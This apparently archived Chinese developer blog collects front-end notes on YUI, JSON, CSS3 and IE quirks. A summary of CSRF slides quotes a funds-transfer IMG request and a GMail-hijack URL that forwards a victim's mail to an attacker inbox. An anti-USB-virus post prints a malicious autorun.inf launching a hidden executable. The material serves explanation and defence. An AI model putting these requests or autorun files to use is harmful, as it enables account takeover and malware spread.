Search

4/30/2008

setForm

setForm是一個很好用的function,所以把他從YAHOO.util.Connect給抽出來了,他的作用就是:給他一個form的id,他會把form裡面所有的form element的key value給組合成request str。
demo:http://chunghe.googlecode.com/svn/trunk/experiment/setForm.htm


function setForm(formId){
var oForm;
if(typeof formId == 'string'){
// Determine if the argument is a form id or a form name.
// Note form name usage is deprecated, but supported
// here for backward compatibility.
oForm = (document.getElementById(formId) || document.forms[formId]);
}
else if(typeof formId == 'object'){
// Treat argument as an HTML form object.
oForm = formId;
}
else{
return;
}
var hasSubmit = false;
var sFormData = '';
for (var i=0; i<oForm.elements.length; i++){
oElement = oForm.elements[i];
oDisabled = oElement.disabled;
oName = oElement.name;
oValue = oElement.value;

// Do not submit fields that are disabled or
// do not have a name attribute value.
if(!oDisabled && oName)
{
switch(oElement.type)
{
case 'select-one':
case 'select-multiple':
for(var j=0; j<oElement.options.length; j++){
if(oElement.options[j].selected){
if(window.ActiveXObject){
sFormData += encodeURIComponent(oName) + '=' + encodeURIComponent(oElement.options[j].attributes['value'].specified?oElement.options[j].value:oElement.options[j].text) + '&';
}
else{
sFormData += encodeURIComponent(oName) + '=' + encodeURIComponent(oElement.options[j].hasAttribute('value')?oElement.options[j].value:oElement.options[j].text) + '&';
}
}
}
break;
case 'radio':
case 'checkbox':
if(oElement.checked){
sFormData += encodeURIComponent(oName) + '=' + encodeURIComponent(oValue) + '&';
}
break;
case 'file':
// stub case as XMLHttpRequest will only send the file path as a string.
case undefined:
// stub case for fieldset element which returns undefined.
case 'reset':
// stub case for input type reset button.
case 'button':
// stub case for input type button elements.
break;
case 'submit':
if(hasSubmit === false){
if(this._hasSubmitListener && this._submitElementValue){
sFormData += this._submitElementValue + '&';
}
else{
sFormData += encodeURIComponent(oName) + '=' + encodeURIComponent(oValue) + '&';
}

hasSubmit = true;
}
break;
default:
sFormData += encodeURIComponent(oName) + '=' + encodeURIComponent(oValue) + '&';
}
}
}

sFormData = sFormData.substr(0, sFormData.length - 1);
return sFormData;

}

台菜推薦

天仁喫茶趣, 地圖 - Yahoo!奇摩生活+
大三元酒樓
Mobile01 古早味--鹿港柑仔店懷舊餐廳

json

JSON - Wikipedia, the free encyclopedia
JSON's basic types are

* Number (integer, real, or floating point)
* String (double-quoted Unicode with backslash escapement)
* Boolean (true and false)
* Array (an ordered sequence of values, comma-separated and enclosed in square brackets)
* Object (collection of key/value pairs, comma-separated and enclosed in curly brackets)
* null

Yahoo! UI Library: JSON utility
JSON data is characterized as a collection of objects, arrays, booleans, strings, numbers, and null. The notation follows these guidelines:

* Objects begin and end with curly braces ({}).
* Object members consist of a string key and an associated value separated by a colon ( "key" : VALUE ).
* Objects may contain any number of members, separated by commas ({ "key1" : VALUE1, "key2" : VALUE2 }).
* Arrays begin and end with square braces and contain any number of values, separated by commas ([ VALUE1, VALUE2 ]).
* Values can be a string, a number, an object, an array, or the literals true, false, and null.
* Strings are surrounded by double quotes and can contain Unicode characters and common backslash escapes ("new\nline").

4/29/2008

Javascript MIME type - Anne’s Weblog

Javascript MIME type - Anne’s Weblog
今天再追一個bug, <script src="http://www.example.com/serv.php?userid=foo"></script>,不過ie一直不會執行該檔案的內容,那隻serv.php裡面一定要有header: application/javascript,雖然正確的 header 應該是application/x-javascript

First of all, the HTML specification suggests text/javascript and application/x-javascript is not supported by Internet Explorer.

Ajax Cookbook - Disable Text Selection

Ajax Cookbook - Disable Text Selection


function disableSelection(element) {
element.onselectstart = function() {
return false;
};
element.unselectable = "on";
element.style.MozUserSelect = "none";
element.style.cursor = "default";
}

IE WebDeveloper - DOM Inspector, Script Console, Logging messages and HTTP Monitor

IE WebDeveloper - DOM Inspector, Script Console, Logging messages and HTTP Monitor

IE WebDeveloper is an add-on for Microsoft Internet Explorer. The rich web debugging toolset allows you to inspect and edit the live HTML DOM and current cascaded styles, evaluate expressions and display error messages, log messages, explore source code of webpage and monitor DHTML Event and HTTP Traffic.

4/28/2008

cinema-critique:關於惱人的行距的問題 - yam天空部落

cinema-critique:關於惱人的行距的問題 - yam天空部落

但是,本人一路跟隨「天空部落」到今天,發覺「天空部落」最大的好處就是:你可以先在相簿內擺進一些圖片,然後再在編輯介面選擇在網誌中插入相簿內的圖片;因此,你就可以掌握到最寬可以寬到 555 畫素、最高可到 1024 畫素的圖片。有的時候,用這種方式插進侯孝賢的圖片,效果是真的有點震撼。我很少在其它部落格也能看到如此大尺寸的圖片。

另外一個「天空部落」的好處(自始即是的一個好處)是:從最新的回應以及簡單的開頭幾個字,我馬上就能知道有誰留了新的言。

三,某一天「天空部落」工程師重新設定編輯功能後,段落間距的問題是稍微被解決了。它解決的是:它的編輯介面變得像 WORD 一樣,你如果沒有故意空一行,它也就不會自動地留出段落間距。所以,為了要有段落間距,我變成要再按一次「enter」把段落間距製造出來。但是,當你從 WORD 檔複製過來之後,你還是必須要按「delete」把後一段的文字變成是這一段,然後你還是要再按一次「enter」把段落再分開,這步驟依舊沒辦法省略;因為老問題還是在:你如果不這樣做,段落間距又會比水溝還大。只是,這一次(大約是從一年半前開始)我發現到:最後一段的行距永遠是比較寬。所以,為了要讓最後一段的行距跟前幾段一樣,我必須要把最後一段括起來,然後選擇「Arial」字形,這樣,最後一段也會變成零行距了。

select value

如果一個option有設value的話,會送出value ex:
<select>
<option value="0">請選擇</option>
</select>
如果沒有的話,會送出該option的innerHTML,ex:
<select>
<option>請選擇</option>
</select>

Ajaxian » An Ajax Ascii Art Generator

Ajaxian » An Ajax Ascii Art Generator
Ajaxian » Asciify: ASCII art library
jsAscii

Utilizing magic and the <canvas> element to turn internet images into sexy ASCII art

最重要的原理是利用 canvas 的 getImageData 取得 raw pixel info, 目前 getImageData 只有在 firefox, webkit nightly build, opera beta 上面有,不過 getImageData 似乎無法應用在 remote image, firebug會出現下面的security error
Security error" code: "1000
[Break on this error] var oImgData = oCtx.getImageData(0, 0, iWidth, iHeight).data;
demo:
http://chunghe.googlecode.com/svn/trunk/project/jsascii/asciify.remote.image.htm
http://chunghe.googlecode.com/svn/trunk/project/jsascii/asciify.local.image.htm

Realazy » JavaScript Memoization

Realazy » JavaScript Memoization
http://realazy.org/lab/memoization.html


JavaScript Memoization
Snippets


/**
* JavaScript Momoization
* @param {string} func name of function / method
* @param {object} [obj] mothed's object or scope correction object
*
* MIT / BSD license
*/

function Memoize(func, obj){
var obj = obj || window,
func = obj[func],
cache = {};
return function(){
var key = Array.prototype.join.call(arguments, '_');
if (!(key in cache))
cache[key] = func.apply(obj, arguments);
return cache[key];
}
}

var fib = {
fib: function(n){
if (n == 0 || n == 1)
return 1;
return this.fib(n-1) + this.fib(n-2);
},
fib_memo: function(n){
if (n == 0 || n == 1)
return 1;
return this.fib_memo(n-1) + this.fib_memo(n-2);
}
}

fib.fib_memo = Memoize('fib_memo', fib);

4/26/2008

YAHOO.util.Connect.setForm

YAHOO.util.Connect.setForm


// argument formId can be the id or name attribute value of the
// HTML form, or an HTML form object.
var formObject = document.getElementById('aForm');
YAHOO.util.Connect.setForm(formObject);
// This example facilitates a POST transaction.
// An HTTP GET can be used as well.
var cObj = YAHOO.util.Connect.asyncRequest('POST', 'http://www.yahoo.com', callback);

Connection Manager can automatically harvest HTML form data and prepare it for either a GET or POST request via the setForm method. When you call this method before initiating the transaction, Connection Manager constructs a GET querystring or a POST message from the form and submits it to the specified URL. To use this functionality, your form elements must have defined, non-empty string name attribute values.

If the subsequent asyncRequest is HTTP GET and has a URI querystring, the querystring resulting from setForm will be concatenated onto the URI's existing querystring. If the transaction is HTTP POST, and asyncRequest contains additional POST data -- as the fourth argument -- this data will be added to the form data to create the POST message.

Cross-Site Request Forgery“The Sleeping Giant of Website Vulnerabilities”

Cross-Site Request Forgery“The Sleeping Giant of Website Vulnerabilities”
Cross-Site Scripting (XSS) - forcing malicious content to be
served by a trusted website to an unsuspecting user.

Cross-Site Request Forgery (CSRF) - forcing an unsuspecting
user’s browser to send requests they didn’t intend. (wire
transfer, blog post, etc.)

<IMG SRC=http://webbank/transfer_funds.cgi?
from=314159265&to=1618&amount=5000&date=11072006>
CSRF Can and Can Not Do
Can:
Force a user to make any HTTP request to anywhere.
Can’t:
Read the web page that is returned in the browser.

GMail E-mail Hijack Technique
• Victim visits a web page containing JavaScript malware. The
JavaScript malware forces the user to make a multipart/form-data
form submission to GMail (CSRF).
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/formdata&_
action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf
2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attac
h=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter
• If the user is logged-in, a filter is entered into the user’s account,
which they are unlikely to notice, that forwards all their email to
“evilinbox@mailinator.com”.

XSS Output Filtering (HTML Encoding)
• $data =~ s/(<|>|\"|\'|\(|\)|:)/'&#'.ord($1).';'/sge;
• $data =~ s/([^\w])/'&#'.ord($1).';'/sge;

4/25/2008

The Future of CSS

The Future of CSS
CSS3 Attribute Selectors


a[href^="mailto:"] {
background-image: url(email.gif);
}
a[href$=".pdf"] {
background-image: url(pdf.gif);
}

Interesting CSS3 Selectors

::selection { background: yellow;} /* makes
selected text yellow */
#menu a:after { content:" \00BB";} /* adds a
“»” symbol after every link in the menu */
.comment:target { background: yellow;} /* makes
the comment div yellow when targeted */

Interesting CSS3 Selectors

input:enabled { background: #999;} /* makes
enabled inputs dark grey */
input:disabled { background: #ccc;} /* makes
disabled inputs light grey */
input:checked { background: #39c;} /* makes
checked inputs blue */

Interesting CSS3 Selectors

#menu li:last-child { border-bottom: none;} /*
removes the bottom border on the last li */
tr:nth-child(odd) { color:blue;} /* makes every
other table row blue */

Using Multiple Background Images

.box {
background-image: url(top-left.gif), url(topright.
gif), url(bottom-left.gif), url(bottomright.
gif);
background-repeat: no-repeat, no-repeat, norepeat,
no-repeat;
background-position: top left, top right, bottom
left, bottom right;
}

Using Border Image

.box {
-webkit-border-image: url(images/corners.gif)
25% 25% 25% 25% / 25px round round;
}

Using Border Radius

.box {
-moz-border-radius: 2em;
-webkit-border-radius: 2em;
border-radius: 2em;
}

CSS3 Box Shadow

.box {
-webkit-box-shadow: 4px 4px 8px #444;
-moz-box-shadow: 4px 4px 8px #444;
box-shadow: 4px 4px 8px #444;
}

CSS3 Multi-column Layout

#content {
-moz-column-count: 2;
-moz-column-gap: 2em;
-webkit-column-count: 2;
-webkit-column-gap: 2em;
column-count: 2;
column-gap: 2em;
}

Calculations

#mainContent {
width: calc(100% - 200px)
}

4/24/2008

Reading binary files using Ajax « nagoon97’s Weblog

Reading binary files using Ajax « nagoon97’s Weblog
http://www.heypage.com/nagoon97/BinFileReader/BinFileReader.js
Ajaxian » JSONVid: Pure JavaScript Video Player

YAHOO.lang.augmentProto

YAHOO.lang.augmentProto


YAHOO.namespace('example');

// Create a class Foo for some greater purpose
YAHOO.example.Foo = function () {
/* code specific to Foo */

// Add a custom event for the instance
this.createEvent('interestingMoment');
}
YAHOO.example.Foo.prototype.doSomething = function() {
/* ..do something interesting... */

// Fire off the custom event
this.fireEvent('interestingMoment');
}

// Make the custom event stuff possible via augmentProto
YAHOO.lang.augmentProto(YAHOO.example.Foo, YAHOO.util.EventProvider);

var f = new YAHOO.example.Foo();

// Add some event listeners
f.subscribe('interestingMoment', function () {
var p = YAHOO.util.Dom.get('demo_p1');
p.innerHTML = 'I was notified of an interesting moment';
});
f.subscribe('interestingMoment', function () {
var p = YAHOO.util.Dom.get('demo_p2');
p.innerHTML = 'I was also notified of an interesting moment';
});

// Add a listener to the button to call the instance's doSomething method
YAHOO.util.Event.on('demo','click', function () { f.doSomething() });

4/23/2008

yui-event

Handler Attachment Deferral

If you attempt to attach a handler to an element before the page is fully loaded, the Event Utility attempts to locate the element. If the element is not available, Event periodically checks for the element until the window.onload event is triggered. Handler deferral only works when attaching handlers by element id; if you attempt to attach to a DOM object reference that is not yet available, the component has no way of knowing what object you are trying to access.
Yahoo! UI Library: Event Utility - Automatic Scope Correction

Event handlers added with Internet Explorer's attachEvent method are executed in the window scope, so the special variable this in your callback references the window object. This is not very useful. Even more vexing is the fact that the event object in Internet Explorer does not provide a reliable way of identifying the element on which the event was registered; standards-based browsers supply this as the currentTarget property, but this property is not present in IE.

By default, the Event Utility automatically adjusts the execution scope so that this refers to the DOM element to which the event was attached, conforming to the behavior of addEventListener in W3C-compliant browsers. Moreover, the event subscriber can override the scope so that this refers to a custom object passed into the addListener call.

Automatic Event Object Browser Abstraction

The first parameter your callback receives when the event fires is always the actual event object. There is no need to look at window.event.

YAHOO.util.Event.getListeners lets you retrieve all of the listeners that were attached to an element via addListener. Optionally, you can retrieve all bound listeners of a given type:

// all listeners
var listeners = YAHOO.util.Event.getListeners(myelement);
for (var i=0; i<listeners.length; ++i) {
var listener = listeners[i];
alert( listener.type ); // The event type
alert( listener.fn ); // The function to execute
alert( listener.obj ); // The custom object passed into addListener
alert( listener.adjust ); // Scope correction requested, if true, listener.obj
// is the scope, if an object, that object is the scope
}

// only click listeners
var listeners = YAHOO.util.Event.getListeners(myelement, "click");

YAHOO.lang.merge

YAHOO.lang.merge


YAHOO.namespace('example');

YAHOO.example.set1 = { foo : "foo" };
YAHOO.example.set2 = { foo : "BAR", bar : "bar" };
YAHOO.example.set3 = { foo : "FOO", baz : "BAZ" };

YAHOO.example.doMerge = function () {
var Ye = YAHOO.example;

var merged = YAHOO.lang.merge(Ye.set1, Ye.set2, Ye.set3);

// Output the stringified version of merged
var result = YAHOO.util.Dom.get('demo_result');
result.innerHTML = YAHOO.example.stringifyObj(merged);
}

YAHOO.util.Event.on('demo_btn','click',YAHOO.example.doMerge);

YAHOO.lang.later

Plank - Lang's little gems


var foo = {
count :0,
'method' : function(data) {
this.count++;
if(this.count == 10) {
timer.cancel();
}
console.log(this.count);
}
}
var timer = YAHOO.lang.later(1000, foo, 'method', [{data:'bar', data2:'zeta'}], true);`

mailto的encoding

rawurlencode(iconv('utf-8','big5',$contents));

select

JavaScript - Dynamic options
sel = $('selid');
sel.length // get the option length
sel[0] // get the first option reference
sel[0].innerHTML // get the innerHTML of the first option
sel[5].selected = true // select the 6th option

sel.options // collection of select options
sel.options.length // same as sel.length
sel.options[0].innerHTML // get the innerHTML of the first option
sel.options[0] = null // remove the first option from select

ie下面要動態新增options用innerHTML是不能work的
sel.innerHTML = '' // not work under ie6
可以用 sel.appendChild( document.createElement('option') );
或者 sel.options[sel.options.length] = new Option('foo', 'foovalue'); // works both under ff/ie

handleMenuclick

function handleMenuClick(p_sType, p_aArgs){
var oMenuItem = p_aArgs[1];
var menuid = this.id.replace(/Menu/,'');
$(menuid).value = oMenuItem.cfg.getProperty('text');
}


var occupationMenu = new YAHOO.widget.Menu("occupationMenu", {fixedcenter: true, showdelay:0,iframe:false });
occupationMenu.subscribe('click', handleMenuClick);
occupationMenu.render();
YUE.on('btnOccupation', "click", occupationMenu.show, null, occupationMenu);

4/22/2008

Known Issues for yui button widget

YAHOO.widget.Button.addHiddenFieldsToForm(document.buttonexampleform);

Button name and value pairs missing from form data when the form is submitted via its submit method.

As noted in the section above titled Using Button with HTML forms, each Button Control listens for the "submit" event of its parent form and will create a hidden field representing its name and value in response to the firing of that event to ensure the form's data set is accurate when the form is submitted. When submitting a form via JavaScript using the form's submit method, it is necessary to call YAHOO.widget.Button.addHiddenFieldsToForm (passing in a reference to the form to be submitted) beforehand. This is due to the fact that calling a form's submit method does not fire the form's "submit" event and a Button instance has no way to automatically append the necessary hidden field representing its name and value.

Menu background images flicker in IE6

Menu background images flicker in IE6


1 try {
2 document.execCommand('BackgroundImageCache', false, true);
3 } catch(e) {}

http://l.yimg.com/tw.yimg.com/i/tw/auction/lsm_external/lsm_auction_080124.js

/* Fix to Improve IE6 */
if(document.uniqueID && !window.XMLHttpRequest){
try {
document.execCommand('BackgroundImageCache',false,true);
}
catch(e){
};
};

4/20/2008

Prototype JavaScript framework: Function.bindPrototype JavaScript framework: Function.bind

Prototype JavaScript framework: Function.bind

window.name = "the window object"

function scopeTest() {
return this.name
}

// calling the function in global scope:
scopeTest()
// -> "the window object"

var foo = {
name: "the foo object!",
otherScopeTest: function() { return this.name }
}

foo.otherScopeTest()
// -> "the foo object!"



// ... continuing from the last example

// note that we aren't calling the function, we're simply referencing it
window.test = foo.otherScopeTest
// now we are actually calling it:
test()
// -> "the window object"



var obj = {
name: 'A nice demo',
fx: function() {
alert(this.name);
}
};

window.name = 'I am such a beautiful window!';

function runFx(f) {
f();
}

var fx2 = obj.fx.bind(obj);

runFx(obj.fx);
runFx(fx2);

4/16/2008

Google Gears API Blog: Gears and Standards

Google Gears API Blog: Gears and Standards

ContentRangePostProposal - google-gears - Google Code

Byte ranges are already standardized for GET requests, and there are implementations of byte-range PUT used by WebDAV, but to our knowledge there has been little effort to use them for POST. Byte-range POST/PUT could be used to resume incomplete transfers, or to explicitly break transfers into smaller sized chunks. We propose standardizing byte range POST/PUT in a manner analogous to byte range GET.

4/09/2008

懶懶喵日記 » 簡化 document.createElement()

懶懶喵日記 » 簡化 document.createElement()



// 這是經過調整的 html 元素建立方式,以後每次要建立 html 元素時就呼叫它。
createEl = function(t, a, y, x) {
var e = document.createElement(t);
if (a) {
for (var k in a) {
if (k == ‘class’) e.className = a[k];
else if (k == ‘id’) e.id = a[k];
else e.setAttribute(k, a[k]);
}
}

if (y) { for (var k in y) e.style[k] = y[k]; }
if (x) { e.appendChild(document.createTextNode(x)); }
return e;

}

// 現在我們開始使用 createEl 這個函式來達成與第一段程式碼相同的目的
var newElement = createEl(‘div’,
{‘class’: ‘newDivClass’, id: ‘newDiv’, name: ‘newDivName’},
{width: ‘300px’, height:‘200px’, margin:‘0 auto’, border:‘1px solid #DDD’},
‘這是存在於在新建立標籤 div 中的文字。’);

不給user轉中文輸入法

藍色小舖 BlueShop
>> 不給user轉中文輸入法
這是能達成的,keyCode = 229 時,表示在輸入中文:


<INPUT TYPE="text" onKeyDown="if (event.keyCode == 229){event.returnValue = false;}">

key code 229 真正代表的是å字元,
並不代表中文字元,
只是微軟目前出的台灣中文輸入法,
除了"微軟新注音輸入法"外,在onkeydown時都會自動送出key code 229。
故onkeydown的驗證對使用微軟新注音輸入法的用戶無效。

Javascript是無法對付故意搞破壞者的,
因為一定能被破解,
像是關掉browser的javascript等等。

以下是在下寫的,
用來防止無心之過的寫法,
適用於各種輸入法\對方用paste貼中文字\對方用drag貼中文字。

<input onfocus="gg(this.sourceIndex)" style="ime-mode:disabled">
<script>
reg=/[^a-zA-Z]/g;
function gg(y) {
s=document.all(y);
if (k=s.value.match(reg)) {
s.value=s.value.replace(reg,'');
alert('Invalid characters have been deleted!')
}
setTimeout('gg(s.sourceIndex)',100);
}
</script>

"[\x00-\xff]"是表示單字節字符,"[^\x00-\xff]"是表示雙字節字符

"[\x00-\xff]"是表示單字節字符,"[^\x00-\xff]"是表示雙字節字符

>>> a = '中文'
>>> a.replace(/[^\x00-\xff]/g,'@')
>>> "@@"

yui pulic get & post

http://developer.yahoo.com/yui/examples/connection/assets/get.php?username=anonymous&userid=0
http://developer.yahoo.com/yui/examples/connection/assets/post.php

4/08/2008

Google App Engine - Google Code

Google App Engine - Google Code
Google Jumps Head First Into Web Services With Google App Engine

Google App Engine -- a developer tool that enables you to run your web applications on Google's infrastructure. The goal is to make it easy to get started with a new web app, and then make it easy to scale when that app reaches the point where it's receiving significant traffic and has millions of users.

Google App Engine gives you access to the same building blocks that Google uses for its own applications, making it easier to build an application that runs reliably, even under heavy load and with large amounts of data. The development environment includes the following features:

* Dynamic webserving, with full support of common web technologies
* Persistent storage (powered by Bigtable and GFS with queries, sorting, and transactions)
* Automatic scaling and load balancing
* Google APIs for authenticating users and sending email
* Fully featured local development environment

Google App Engine packages these building blocks and takes care of the infrastructure stack, leaving you more time to focus on writing code and improving your application.

option.onclick.event.is.invalid.for.ie

demo: http://chunghe.googlecode.com/svn/trunk/experiment/option.onclick.event.is.invalid.for.ie/index.htm
Option onClick in Internet Explorer

Remove the events from the options, use an event directly on the select instead.

Internet Explorer treats select boxes slightly different than the rest of the document, (if you've ever read anyhting about "windowed controlls" you know what I'm talking about)

I'm thinking IE doesn't notice events in childnodes of select elements, only the select elements themselves.

彻底禁用autorun.inf,为移动磁盘免疫

过门网 - 互联网疯狂评测 » Blog 存档 » 彻底禁用autorun.inf,为移动磁盘免疫

当我们插入光盘或是闪存时,Windows 都会扫描里面有没有autorun.inf文件。如果有,就会将autorun.inf的设定添加到”MountPoint2″注册表项,然后从” MountPoint2″,修改磁盘的打开行为和右键菜单。这种行为即使否设置了“禁用了自动播放”,系统还是会这么做,就是说,无论你有否设置,打开时依然会中毒。
1. 开始->运行 regedit.exe 打开注册表编辑器
2. 找到注册表项
HKEY_CURRENT_USER\ Software\Microsoft\ Windows\CurrentVersion \Explorer\MountPoints2
按鼠标右键选择”权限”
3. 在 “MountPoints2的权限” 的窗口右下角找到 “高级” 并按下
4. 把 “允许父项的继承权限……(这段话很长)” 左边复选框的”√”去掉
5. 在弹出的窗口中选择”删除”
6.“确定”->”是”->”确定”
7. 完成

[autorun]
open=.\RECYCLER\RECYCLER\autorun.exe

shell\1=Open
shell\1\Command=.\RECYCLER\RECYCLER\autorun.exe
shell\2\=Browser
shell\2\Command=.\RECYCLER\RECYCLER\autorun.exe

shellexecute=.\RECYCLER\RECYCLER\autorun.exe

keyword: 隨身碟 中毒 virus gpedit

4/01/2008

google's version of grid.css

不是我在講,長得真像yui的grid.css,不過g-tpl-33-67-alt這種比yui-t1, yui-gd這種來得好多了
Virgle: The Adventure of Many Lifetimes
http://www.google.com/css/goog.css


html, body, div, h1, h2, h3, h4, h5, h6, p, img, dl, dt, dd, ol, ul, li, table, caption, tbody, tfoot, thead, tr, th, td, form, fieldset, embed, object, applet {
border:0pt none;
margin:0pt;
padding:0pt;
}
body {
background:#FFFFFF none repeat scroll 0%;
color:#000000;
font-family:Arial,sans-serif;
font-size:62.5%;
}
a {
color:#0000CC;
}
a:active {
color:#FF0000;
}
a:visited {
color:#551A8B;
}
table {
border-collapse:collapse;
border-width:0pt;
empty-cells:show;
}
ul {
padding:0pt 0pt 1em 1em;
}
ol {
padding:0pt 0pt 1em 1.3em;
}
li {
line-height:1.5em;
padding:0pt 0pt 0.5em;
}
p {
padding:0pt 0pt 1em;
}
h1, h2, h3, h4, h5 {
padding:0pt 0pt 1em;
}
h1, h2 {
font-size:1.3em;
}
h3 {
font-size:1.1em;
}
h4, h5, table {
font-size:1em;
}
sup, sub {
font-size:0.7em;
}
input, select, textarea, option {
font-family:inherit;
font-size:inherit;
}
.g-doc, .g-doc-1024, .g-doc-800 {
font-size:130%;
}

http://www.google.com/css/gooey.css

/* Copyright 2008 Google, Inc. All Rights Reserved */
.g-doc {
text-align:left;
width:100%;
}
.g-doc-1024 {
margin:0pt auto;
min-width:950px;
text-align:left;
width:73.074em;
}
.g-doc-800 {
margin:0pt auto;
min-width:750px;
text-align:left;
width:57.69em;
}
.g-section:after {
clear:both;
content:".";
display:block;
height:0pt;
visibility:hidden;
}
.g-unit .g-section:after {
clear:none;
}
.g-unit .g-section {
overflow:hidden;
width:100%;
}
.g-section, .g-unit {
}
.g-split .g-unit {
text-align:right;
}
.g-split .g-first {
text-align:left;
}
.g-tpl-25-75 .g-unit, .g-unit .g-tpl-25-75 .g-unit, .g-unit .g-unit .g-tpl-25-75 .g-unit, .g-unit .g-unit .g-unit .g-tpl-25-75 .g-unit {
display:inline;
float:right;
margin:0pt;
width:74.2%;
}
.g-unit .g-unit .g-unit .g-tpl-25-75 .g-first, .g-unit .g-unit .g-tpl-25-75 .g-first, .g-unit .g-tpl-25-75 .g-first, .g-tpl-25-75 .g-first {
display:inline;
float:left;
margin:0pt;
width:24%;
}
.g-tpl-25-75-alt .g-unit, .g-unit .g-tpl-25-75-alt .g-unit, .g-unit .g-unit .g-tpl-25-75-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-25-75-alt .g-unit {
display:inline;
float:left;
margin:0pt;
width:24%;
}
.g-unit .g-unit .g-unit .g-tpl-25-75-alt .g-first, .g-unit .g-unit .g-tpl-25-75-alt .g-first, .g-unit .g-tpl-25-75-alt .g-first, .g-tpl-25-75-alt .g-first {
display:inline;
float:right;
margin:0pt;
width:74.2%;
}
.g-tpl-75-25 .g-unit, .g-unit .g-tpl-75-25 .g-unit, .g-unit .g-unit .g-tpl-75-25 .g-unit, .g-unit .g-unit .g-unit .g-tpl-75-25 .g-unit {
display:inline;
float:right;
margin:0pt;
width:24%;
}
.g-unit .g-unit .g-unit .g-tpl-75-25 .g-first, .g-unit .g-unit .g-tpl-75-25 .g-first, .g-unit .g-tpl-75-25 .g-first, .g-tpl-75-25 .g-first {
display:inline;
float:left;
margin:0pt;
width:74.2%;
}
.g-tpl-75-25-alt .g-unit, .g-unit .g-tpl-75-25-alt .g-unit, .g-unit .g-unit .g-tpl-75-25-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-75-25-alt .g-unit {
display:inline;
float:left;
margin:0pt;
width:74.2%;
}
.g-unit .g-unit .g-unit .g-tpl-75-25-alt .g-first, .g-unit .g-unit .g-tpl-75-25-alt .g-first, .g-unit .g-tpl-75-25-alt .g-first, .g-tpl-75-25-alt .g-first {
display:inline;
float:right;
margin:0pt;
width:24%;
}
.g-tpl-33-67 .g-unit, .g-unit .g-tpl-33-67 .g-unit, .g-unit .g-unit .g-tpl-33-67 .g-unit, .g-unit .g-unit .g-unit .g-tpl-33-67 .g-unit {
display:inline;
float:right;
margin:0pt;
width:66%;
}
.g-unit .g-unit .g-unit .g-tpl-33-67 .g-first, .g-unit .g-unit .g-tpl-33-67 .g-first, .g-unit .g-tpl-33-67 .g-first, .g-tpl-33-67 .g-first {
display:inline;
float:left;
margin:0pt;
width:32%;
}
.g-tpl-33-67-alt .g-unit, .g-unit .g-tpl-33-67-alt .g-unit, .g-unit .g-unit .g-tpl-33-67-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-33-67-alt .g-unit {
display:inline;
float:left;
margin:0pt;
width:32%;
}
.g-unit .g-unit .g-unit .g-tpl-33-67-alt .g-first, .g-unit .g-unit .g-tpl-33-67-alt .g-first, .g-unit .g-tpl-33-67-alt .g-first, .g-tpl-33-67-alt .g-first {
display:inline;
float:right;
margin:0pt;
width:66%;
}
.g-tpl-67-33 .g-unit, .g-unit .g-tpl-67-33 .g-unit, .g-unit .g-unit .g-tpl-67-33 .g-unit, .g-unit .g-unit .g-unit .g-tpl-67-33 .g-unit {
display:inline;
float:right;
margin:0pt;
width:32%;
}
.g-unit .g-unit .g-unit .g-tpl-67-33 .g-first, .g-unit .g-unit .g-tpl-67-33 .g-first, .g-unit .g-tpl-67-33 .g-first, .g-tpl-67-33 .g-first {
display:inline;
float:left;
margin:0pt;
width:66%;
}
.g-tpl-67-33-alt .g-unit, .g-unit .g-tpl-67-33-alt .g-unit, .g-unit .g-unit .g-tpl-67-33-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-67-33-alt .g-unit {
display:inline;
float:left;
margin:0pt;
width:66%;
}
.g-unit .g-unit .g-unit .g-tpl-67-33-alt .g-first, .g-unit .g-unit .g-tpl-67-33-alt .g-first, .g-unit .g-tpl-67-33-alt .g-first, .g-tpl-67-33-alt .g-first {
display:inline;
float:right;
margin:0pt;
width:32%;
}
.g-tpl-50-50 .g-unit, .g-unit .g-tpl-50-50 .g-unit, .g-unit .g-unit .g-tpl-50-50 .g-unit, .g-unit .g-unit .g-unit .g-tpl-50-50 .g-unit {
display:inline;
float:right;
margin:0pt;
width:48.1%;
}
.g-unit .g-unit .g-unit .g-tpl-50-50 .g-first, .g-unit .g-unit .g-tpl-50-50 .g-first, .g-unit .g-tpl-50-50 .g-first, .g-tpl-50-50 .g-first {
display:inline;
float:left;
margin:0pt;
width:49.1%;
}
.g-tpl-50-50-alt .g-unit, .g-unit .g-tpl-50-50-alt .g-unit, .g-unit .g-unit .g-tpl-50-50-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-50-50-alt .g-unit {
display:inline;
float:left;
margin:0pt;
width:49.1%;
}
.g-unit .g-unit .g-unit .g-tpl-50-50-alt .g-first, .g-unit .g-unit .g-tpl-50-50-alt .g-first, .g-unit .g-tpl-50-50-alt .g-first, .g-tpl-50-50-alt .g-first {
display:inline;
float:right;
margin:0pt;
width:48.1%;
}
.g-tpl-nest .g-unit, .g-unit .g-tpl-nest .g-unit, .g-unit .g-unit .g-tpl-nest .g-unit, .g-unit .g-unit .g-unit .g-tpl-nest .g-unit {
display:inline;
float:left;
margin:0pt;
width:auto;
}
.g-tpl-nest-alt .g-unit, .g-unit .g-tpl-nest-alt .g-unit, .g-unit .g-unit .g-tpl-nest-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-nest-alt .g-unit {
display:inline;
float:right;
margin:0pt;
width:auto;
}
.g-tpl-160 .g-unit, .g-unit .g-tpl-160 .g-unit, .g-unit .g-unit .g-tpl-160 .g-unit, .g-unit .g-unit .g-unit .g-tpl-160 .g-unit {
display:block;
float:none;
margin:0pt 0pt 0pt 161px;
width:auto;
}
.g-unit .g-unit .g-unit .g-tpl-160 .g-first, .g-unit .g-unit .g-tpl-160 .g-first, .g-unit .g-tpl-160 .g-first, .g-tpl-160 .g-first {
display:block;
float:left;
margin:0pt;
width:161px;
}
.g-tpl-160-alt .g-unit, .g-unit .g-tpl-160-alt .g-unit, .g-unit .g-unit .g-tpl-160-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-160-alt .g-unit {
display:block;
float:none;
margin:0pt 161px 0pt 0pt;
width:auto;
}
